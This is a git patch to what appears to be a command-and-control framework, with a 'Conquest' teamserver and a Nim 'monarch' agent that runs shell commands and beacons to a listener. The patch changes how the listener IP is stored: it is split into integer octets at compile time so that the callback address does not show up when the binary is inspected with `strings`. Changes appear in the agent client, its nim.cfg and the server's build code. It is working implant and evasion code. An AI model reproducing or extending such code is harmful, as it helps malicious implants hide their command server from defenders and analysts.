From b25d09e2822d6f246bb3bdd0db64eeb8dadd5391 Mon Sep 17 00:00:00 2001
From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com>
Date: Mon, 2 Jun 2025 21:37:58 +0200
Subject: [PATCH] Hide hardcoded IP address from agent binary by splitting it
 up into integer octets

---
 agents/monarch/client.nim | 12 +++++++++---
 agents/monarch/nim.cfg    |  5 ++++-
 server/agent/agent.nim    | 10 ++++++++--
 server/utils.nim          |  5 +++++
 4 files changed, 26 insertions(+), 6 deletions(-)

diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim
index e0c0b52..2720d51 100644
--- a/agents/monarch/client.nim
+++ b/agents/monarch/client.nim
@@ -5,7 +5,10 @@ import ./[types, http, task]
 import commands/shell
 
 const ListenerUuid {.strdefine.}: string = ""
-const ListenerIp {.strdefine.}: string = ""
+const Octet1 {.intdefine.}: int = 0
+const Octet2 {.intdefine.}: int = 0
+const Octet3 {.intdefine.}: int = 0
+const Octet4 {.intdefine.}: int = 0
 const ListenerPort {.intdefine.}: int = 5555
 const SleepDelay {.intdefine.}: int = 10
 
@@ -22,13 +25,16 @@ proc main() =
     # The agent configuration is read at compile time using define/-d statements in nim.cfg
     # This configuration file can be dynamically generated from the teamserver management interface
     # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
-    when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
+    when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
         echo "Missing agent configuration."
         quit(0)
 
+    # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
+    let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 
+
     var config = AgentConfig(
         listener: ListenerUuid,
-        ip: ListenerIp, 
+        ip: address, 
         port: ListenerPort, 
         sleep: SleepDelay
     )
diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg
index 9820bed..5c8ea9d 100644
--- a/agents/monarch/nim.cfg
+++ b/agents/monarch/nim.cfg
@@ -1,5 +1,8 @@
 # Agent configuration 
 -d:ListenerUuid="JEBFQPEP"
--d:ListenerIp="127.0.0.1"
+-d:Octet1="127"
+-d:Octet2="0"
+-d:Octet3="0"
+-d:Octet4="1"
 -d:ListenerPort=5555
 -d:SleepDelay=10
diff --git a/server/agent/agent.nim b/server/agent/agent.nim
index 107404b..b2626a9 100644
--- a/server/agent/agent.nim
+++ b/server/agent/agent.nim
@@ -121,13 +121,19 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
     let listener = cq.listeners[listener.toUpperAscii] 
 
     # Create/overwrite nim.cfg file to set agent configuration 
-    let agentConfigFile = fmt"../agents/{payload}/nim.cfg"    
+    let agentConfigFile = fmt"../agents/{payload}/nim.cfg"   
+
+    # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
+    let (first, second, third, fourth) = parseOctets(listener.address)
 
     # The following shows the format of the agent configuration file that defines compile-time variables 
     let config = fmt"""
     # Agent configuration 
     -d:ListenerUuid="{listener.name}"
-    -d:ListenerIp="{listener.address}"
+    -d:Octet1="{first}"
+    -d:Octet2="{second}"
+    -d:Octet3="{third}"
+    -d:Octet4="{fourth}"
     -d:ListenerPort={listener.port}
     -d:SleepDelay={sleep}
     """.replace("    ", "")
diff --git a/server/utils.nim b/server/utils.nim
index cbfea60..2b95fdd 100644
--- a/server/utils.nim
+++ b/server/utils.nim
@@ -3,6 +3,11 @@ import std/wordwrap
 
 import ./[types]
 
+proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = 
+    # TODO: Verify that address is in correct, expected format
+    let octets = ip.split('.')
+    return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
+
 proc validatePort*(portStr: string): bool = 
     try:
         let port: int = portStr.parseInt